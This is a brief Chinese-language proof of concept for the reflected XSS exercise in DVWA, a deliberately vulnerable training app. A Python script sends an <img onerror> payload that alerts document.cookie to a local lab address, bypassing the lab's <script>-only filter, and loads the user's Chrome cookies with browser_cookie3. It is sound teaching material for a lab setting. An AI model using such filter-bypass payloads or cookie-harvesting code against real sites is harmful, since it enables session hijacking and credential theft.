POC——DVWA‘s XSS Reflected

XSS反射型中，三个等级内全都只定义了对<script>标签的过滤，所以通用一个<img>标签即可~

import requests
import browser_cookie3
from urllib import parse

cookie = browser_cookie3.chrome()
text1 = '<img src=1 onerror=alert(document.cookie)>'
string1 = parse.quote(text1)
url = 'http://192.168.117.130/DVWA-1.9/vulnerabilities/xss_r/?name='+string1
response = requests.get(url=url,cookies=cookie)

re = 'document.cookie'
flag=re in str(response.content)

if flag:
    print("It looks likely vulnerable")
else:
    print("It is strong")

此处没有必要一定要把请求url编码，在这里只是想加一下而已~